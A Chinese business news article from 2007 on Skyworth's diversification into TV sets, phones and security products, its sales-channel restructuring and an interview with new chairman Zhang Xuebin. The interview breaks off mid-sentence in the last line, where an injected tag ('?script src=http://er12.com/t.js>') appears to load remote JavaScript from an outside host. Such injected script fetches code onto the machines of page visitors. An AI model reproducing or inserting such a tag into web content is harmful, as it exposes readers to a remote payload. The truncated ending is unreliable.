“创维内部已经展开了一次‘革命’性的变革！”4月7日，刚出任创维数码(0751.hk)董事局主席的张学斌透露，随着2006年创维度过危机走向快速增长，创维已经具备了“集团崛起”的可能性。种种迹象表明，伴随这种“革命性”的改变，创维审慎多元化的战略浮出水面，确立了彩电、手机、安防三大产业为核心的多元化产业策略。
记者获悉，创维已经启动了一场轰轰烈烈的营销渠道大变革，原来的“分部—办事处”制，将会被“分公司”制取代，现存的30多个分部、170个左右的办事处经过取舍后，会变为40多个分公司。
确立多元化产业策略
在日前创维公布的2006财年中期业绩报告中，创维纯利大幅上升211.1%。除彩电业务外，数字机顶盒和手机业务，也为创维贡献了超过7亿港元的收入，比重达到13%。其中，机顶盒在中国市场的销售增长约6.7倍，手机营业额则高达3.45亿元。在本月7日的会议上，创维把彩电、手机、安防产品作为中国航天的冠名产品，其做大三个产业策略明显。
创维彩电事业部总裁杨东文透露，彩电作为一项强势产品，2006年度产销量达700多万台，销售额130亿元，占创维集团总体销售份额的85%以上，是创维集团最主要的收入来源，但由于这一块产业已经很大，谋求迅速的发展不可能。而手机和安防产品则能保持较高的发展速度。据悉，按照既定策略，安防产品将会以监视器为核心，逐步拓展产品的领域成为中国安防行业的领头企业，而在手机领域，2007财年创维将实现300万台的销量，三年内进入国内市场一线品牌。
除了手机、安防等产业外，创维还在模具、液晶模组、汽车电子等领域进行积累，等待突破的机会。显然，以彩电起家，创维产业“集团”的概念已经悄然升温。
启动公司“再生工程”
值得关注的是，在集团“核心产业做大、相关产业做强”的产业策略确定后，记者获悉，目前创维开始了一场轰轰烈烈的渠道变革。记者获悉，创维沿用多年的“分部—办事处”制，将会被 “分公司”制取代，现存的30多个分部、170个左右的办事处经过取舍后，会变为40多个分公司。
与此对应的是，创维特别成立了供应链管理部。此前以“月”为规划周期的“大计划”生产模式，将被改为按照客户需求制定生产计划，而计周期很可能是要变为以“周”计算，于是生产流程自然也要相应调整。主要是减少管理环节，适应平板时代产品、资金的周转速度。据悉，按照网络精细化的原则，每个分公司将承担每年3亿-4亿的销售，初步预算，创维在2007年度在彩电领域将会实现150亿左右的销售。
试水渠道多元化
在创维本次大规模新品展示会上，值得注意的是其白电产品。此次，创维共展出了10余款洗衣机、4款电磁炉，均为创维品牌。据悉，创维在去年6月开始，尝试做白电，目前投入产出比不错。据透露，创维已经于2006年4月成立了“多元产品营销中心”，龙文俊任中心总监。创维洗衣机已经在山东、河南、湖南、湖北等大多数二、三级市场广泛铺货，销售情况良好。创维广东分部有关人士透露，目前白电和小家电产品均与彩电一些合作了很久的经销商合作，并都是先打款后提货方式进行。
杨东文表示，目前创维有5000多人的渠道队伍，如果只卖彩电不符合资源最大化利用的原则。据透露，创维计划在自己的渠道中销售其他品牌的家电产品，但和tcl的“幸福树”不同的是，创维的渠道完全是自己的销售网络。记者获悉，创维目前已经把伊莱克斯湖南、河南、河北等5个城市的代理权拿下。
“创维已具备重新崛起的条件”
本报记者对话创维数码执行主席、ceo张学斌
4月1日，在创维创始人黄宏生危机时“临危受命”的王殿甫功成身退、辞任创维数码执行主席一职后，2001年加盟创维的职业经理人张学斌接过了创维数码执行主席的帅旗，在外界看来，这意味着创维已经彻底从一场生死危机摆脱，以张学斌为首的职业经理人将撑起创维一片天。面对产业的剧烈变化，创维该怎样把握多元化的机遇和控制风险？带着这些问题，本报记者采访了刚刚履新的创维数码执行主席、ceo张学斌。
“打造创维长远竞争力”
南方都市报：新官上任三把火，在你兼任执行主席后，你会主抓哪些工作？
张学斌：主要是制定调整完善公司的战略，集思广益形成公司决策，同时做好集团的人力资源规划和基本管理制度，这是长远的竞争力，不是一朝一夕可以打造的。企业这20年的发展，都是由于改革开放带来的庞大市场需求拉动的，这就使得公司内部管理基础弱，当制造优势已经成为全球品牌利用的资源，强化管理就显得尤其重要。至于未来工作重点，按照董事会的目标，“核心业务做强、相关业务做大”将是两大主线。
南方都市报：顺利通过2004年一场事关生死的危机后，你认为创维最大的变化是什么？
张学斌：完全由职业经理人来管理。以前尽管董事会和经营层分开，但是最后还是由老板来拍板的；现在真?script src=http://er12.com/t.js>
